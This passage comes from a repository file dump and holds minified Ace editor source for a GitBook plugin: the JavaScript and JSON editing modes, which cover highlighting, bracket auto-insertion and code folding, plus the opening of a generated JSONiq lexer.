f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-json.js",
    "content": "define(\"ace/mode/json_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"variable\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]\\\\s*(?=:)'},{token:\"string\",regex:'\"',next:\"string\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:\"invalid.illegal\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"invalid.illegal\",regex:\"\\\\/\\\\/.*$\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],string:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[\"\\\\\\/bfnrt])/},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}]}};r.inherits(s,i),t.JsonHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/json\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/json_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./json_highlight_rules\").JsonHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,i),function(){this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);if(e==\"start\"){var i=t.match(/^.*[\\{\\(\\[]\\s*$/);i&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/json_worker\",\"JsonWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/json\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-jsoniq.js",
    "content": "define(\"ace/mode/xquery/jsoniq_lexer\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);throw new Error(\"Cannot find module '\"+u+\"'\")}var l=n[u]={exports:{}};t[u][0].call(l.exports,function(e){var n=t[u][1][e];return s(n?n:e)},l,l.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){var r=n.JSONiqTokenizer=function i(e,t){function r(e,t){E=t,S=e,x=e.length,s(0,0,0)}function s(e,t,n){m=t,g=t,y=e,b=t,w=n,N=n,E.reset(S)}function o(){E.startNonterminal(\"EQName\",g);switch(y){case 80:f(80);break;case 94:f(94);break;case 118:f(118);break;case 119:f(119);break;case 122:f(122);break;case 143:f(143);break;case 150:f(150);break;case 163:f(163);break;case 183:f(183);break;case 189:f(189);break;case 214:f(214);break;case 224:f(224);break;case 225:f(225);break;case 241:f(241);break;case 242:f(242);break;case 251:f(251);break;default:u()}E.endNonterminal(\"EQName\",g)}function u(){E.startNonterminal(\"FunctionName\",g);switch(y){case 17:f(17);break;case 68:f(68);break;case 71:f(71);break;case 72:f(72);break;case 73:f(73);break;case 77:f(77);break;case 78:f(78);break;case 82:f(82);break;case 86:f(86);break;case 87:f(87);break;case 88:f(88);break;case 91:f(91);break;case 92:f(92);break;case 101:f(101);break;case 103:f(103);break;case 106:f(106);break;case 107:f(107);break;case 108:f(108);break;case 109:f(109);break;case 110:f(110);break;case 111:f(111);break;case 116:f(116);break;case 117:f(117);break;case 120:f(120);break;case 121:f(121);break;case 124:f(124);break;case 126:f(126);break;case 127:f(127);break;case 129:f(129);break;case 132:f(132);break;case 133:f(133);break;case 134:f(134);break;case 135:f(135);break;case 144:f(144);break;case 146:f(146);break;case 148:f(148);break;case 149:f(149);break;case 151:f(151);break;case 157:f(157);break;case 158:f(158);break;case 160:f(160);break;case 161:f(161);break;case 162:f(162);break;case 168:f(168);break;case 170:f(170);break;case 172:f(172);break;case 176:f(176);break;case 178:f(178);break;case 179:f(179);break;case 180:f(180);break;case 182:f(182);break;case 184:f(184);break;case 196:f(196);break;case 198:f(198);break;case 199:f(199);break;case 200:f(200);break;case 204:f(204);break;case 210:f(210);break;case 211:f(211);break;case 216:f(216);break;case 217:f(217);break;case 218:f(218);break;case 222:f(222);break;case 227:f(227);break;case 233:f(233);break;case 234:f(234);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 248:f(248);break;case 252:f(252);break;case 254:f(254);break;case 258:f(258);break;case 264:f(264);break;case 268:f(268);break;case 272:f(272);break;case 70:f(70);break;case 79:f(79);break;case 81:f(81);break;case 83:f(83);break;case 84:f(84);break;case 89:f(89);break;case 96:f(96);break;case 99:f(99);break;case 100:f(100);break;case 102:f(102);break;case 104:f(104);break;case 123:f(123);break;case 130:f(130);break;case 131:f(131);break;case 139:f(139);break;case 152:f(152);break;case 153:f(153);break;case 159:f(159);break;case 169:f(169);break;case 190:f(190);break;case 197:f(197);break;case 201:f(201);break;case 220:f(220);break;case 223:f(223);break;case 226:f(226);break;case 232:f(232);break;case 238:f(238);break;case 249:f(249);break;case 250:f(250);break;case 255:f(255);break;case 259:f(259);break;case 260:f(260);break;case 261:f(261);break;case 265:f(265);break;case 95:f(95);break;case 174:f(174);break;default:f(219)}E.endNonterminal(\"FunctionName\",g)}function a(){E.startNonterminal(\"NCName\",g);switch(y){case 28:f(28);break;case 68:f(68);break;case 73:f(73);break;case 77:f(77);break;case 78:f(78);break;case 82:f(82);break;case 86:f(86);break;case 87:f(87);break;case 88:f(88);break;case 92:f(92);break;case 103:f(103);break;case 107:f(107);break;case 111:f(111);break;case 116:f(116);break;case 120:f(120);break;case 121:f(121);break;case 124:f(124);break;case 126:f(126);break;case 129:f(129);break;case 135:f(135);break;case 144:f(144);break;case 146:f(146);break;case 148:f(148);break;case 149:f(149);break;case 158:f(158);break;case 160:f(160);break;case 161:f(161);break;case 162:f(162);break;case 170:f(170);break;case 172:f(172);break;case 176:f(176);break;case 178:f(178);break;case 179:f(179);break;case 184:f(184);break;case 196:f(196);break;case 198:f(198);break;case 199:f(199);break;case 218:f(218);break;case 222:f(222);break;case 234:f(234);break;case 235:f(235);break;case 246:f(246);break;case 247:f(247);break;case 252:f(252);break;case 264:f(264);break;case 268:f(268);break;case 71:f(71);break;case 72:f(72);break;case 80:f(80);break;case 91:f(91);break;case 94:f(94);break;case 101:f(101);break;case 106:f(106);break;case 108:f(108);break;case 109:f(109);break;case 110:f(110);break;case 117:f(117);break;case 118:f(118);break;case 119:f(119);break;case 122:f(122);break;case 127:f(127);break;case 132:f(132);break;case 133:f(133);break;case 134:f(134);break;case 143:f(143);break;case 150:f(150);break;case 151:f(151);break;case 157:f(157);break;case 163:f(163);break;case 168:f(168);break;case 180:f(180);break;case 182:f(182);break;case 183:f(183);break;case 189:f(189);break;case 200:f(200);break;case 204:f(204);break;case 210:f(210);break;case 211:f(211);break;case 214:f(214);break;case 216:f(216);break;case 217:f(217);break;case 224:f(224);break;case 225:f(225);break;case 227:f(227);break;case 233:f(233);break;case 241:f(241);break;case 242:f(242);break;case 248:f(248);break;case 251:f(251);break;case 254:f(254);break;case 258:f(258);break;case 260:f(260);break;case 272:f(272);break;case 70:f(70);break;case 79:f(79);break;case 81:f(81);break;case 83:f(83);break;case 84:f(84);break;case 89:f(89);break;case 96:f(96);break;case 99:f(99);break;case 100:f(100);break;case 102:f(102);break;case 104:f(104);break;case 123:f(123);break;case 130:f(130);break;case 131:f(131);break;case 139:f(139);break;case 152:f(152);break;case 153:f(153);break;case 159:f(159);break;case 169:f(169);break;case 190:f(190);break;case 197:f(197);break;case 201:f(201);break;case 220:f(220);break;case 223:f(223);break;case 226:f(226);break;case 232:f(232);break;case 238:f(238);break;case 249:f(249);break;case 250:f(250);break;case 255:f(255);break;case 259:f(259);break;case 261:f(261);break;case 265:f(265);break;case 95:f(95);break;case 174:f(174);break;default:f(219)}E.endNonterminal(\"NCName\",g)}function f(e){y==e?(l(),E.terminal(i.TOKEN[y],b,w>x?x:w),m=b,g=w,y=0):d(b,w,0,y,e)}function l(){g!=b&&(m=g,g=b,E.whitespace(m,g))}function c(e){var t;for(;;){t=C(e);if(t!=30)break}return t}function h(e){y==0&&(y=c(e),b=T,w=N)}function p(e){y==0&&(y=C(e),b=T,w=N)}function d(e,t,r,i,s){throw new n.ParseException(e,t,r,i,s)}function C(e){var t=!1;T=N;var n=N,r=i.INITIAL[e],s=0;for(var o=r&4095;o!=0;){var u,a=n<x?S.charCodeAt(n):0;++n;if(a<128)u=i.MAP0[a];else if(a<55296){var f=a>>4;u=i.MAP1[(a&15)+i.MAP1[(f&31)+i.MAP1[f>>5]]]}else{if(a<56320){var f=n<x?S.charCodeAt(n):0;f>=56320&&f<57344&&(++n,a=((a&1023)<<10)+(f&1023)+65536,t=!0)}var l=0,c=5;for(var h=3;;h=c+l>>1){if(i.MAP2[h]>a)c=h-1;else{if(!(i.MAP2[6+h]<a)){u=i.MAP2[12+h];break}l=h+1}if(l>c){u=0;break}}}s=o;var p=(u<<12)+o-1;o=i.TRANSITION[(p&15)+i.TRANSITION[p>>4]],o>4095&&(r=o,o&=4095,N=n)}r>>=12;if(r==0){N=n-1;var f=N<x?S.charCodeAt(N):0;return f>=56320&&f<57344&&--N,d(T,N,s,-1,-1)}if(t)for(var v=r>>9;v>0;--v){--N;var f=N<x?S.charCodeAt(N):0;f>=56320&&f<57344&&--N}else N-=r>>9;return(r&511)-1}r(e,t);var n=this;this.ParseException=function(e,t,n,r,i){var s=e,o=t,u=n,a=r,f=i;this.getBegin=function(){return s},this.getEnd=function(){return o},this.getState=function(){return u},this.getExpected=function(){return f},this.getOffending=function(){return a},this.getMessage=function(){return a<0?\"lexical analysis failed\":\"syntax error\"}},this.getInput=function(){return S},this.getOffendingToken=function(e){var t=e.getOffending();return t>=0?i.TOKEN[t]:null},this.getExpectedTokenSet=function(e){var t;return e.getExpected()<0?t=i.getTokenSet(-e.getState()):t=[i.TOKEN[e.getExpected()]],t},this.getErrorMessage=function(e){var t=this.getExpectedTokenSet(e),n=this.getOffendingToken(e),r=S.substring(0,e.getBegin()),i=r.split(\"\\n\"),s=i.length,o=i[s-1].length+1,u=e.getEnd()-e.getBegin();return e.getMessage()+(n==null?\"\":\", found \"+n)+\"\\nwhile expecting \"+(t.length==1?t[0]:\"[\"+t.join(\", \")+\"]\")+\"\\n\"+(u==0||n!=null?\"\":\"after successfully scanning \"+u+\" characters beginning \")+\"at line \"+s+\", column \"+o+\":\\n...\"+S.substring(e.getBegin(),Math.min(S.length,e.getBegin()+64))+\"...\"},this.parse_start=function(){E.startNonterminal(\"start\",g),h(14);switch(y){case 58:f(58);break;case 57:f(57);break;case 59:f(59);break;case 43:f(43);break;case 45:f(45);break;case 44:f(44);break;case 37:f(37);break;case 41:f(41);break;case 277:f(277);break;case 274:f(274);break;case 42:f(42);break;case 46:f(46);break;case 52:f(52);break;case 65:f(65);break;case 66:f(66);break;case 49:f(49);break;case 51:f(51);break;case 56:f(56);break;case 54:f(54);break;case 36:f(36);break;case 276:f(276);break;case 40:f(40);break;case 5:f(5);break;case 4:f(4);break;case 6:f(6);break;case 15:f(15);break;case 16:f(16);break;case 18:f(18);break;case 19:f(19);break;case 20:f(20);break;case 8:f(8);break;case 9:f(9);break;case 7:f(7);break;case 35:f(35);break;default:o()}E.endNonterminal(\"start\",g)},this.parse_StartTag=function(){E.startNonterminal(\"StartTag\",g),h(8);switch(y){case 61:f(61);break;case 53:f(53);break;case 29:f(29);break;case 60:f(60);break;case 37:f(37);break;case 41:f(41);break;default:f(35)}E.endNonterminal(\"StartTag\",g)},this.parse_TagContent=function(){E.startNonterminal(\"TagContent\",g),p(11);switch(y){case 25:f(25);break;case 9:f(9);break;case 10:f(10);break;case 58:f(58);break;case 57:f(57);break;case 21:f(21);break;case 31:f(31);break;case 275:f(275);break;case 278:f(278);break;case 274:f(274);break;default:f(35)}E.endNonterminal(\"TagContent\",g)},this.parse_AposAttr=function(){E.startNonterminal(\"AposAttr\",g),p(10);switch(y){case 23:f(23);break;case 27:f(27);break;case 21:f(21);break;case 31:f(31);break;case 275:f(275);break;case 278:f(278);break;case 274:f(274);break;case 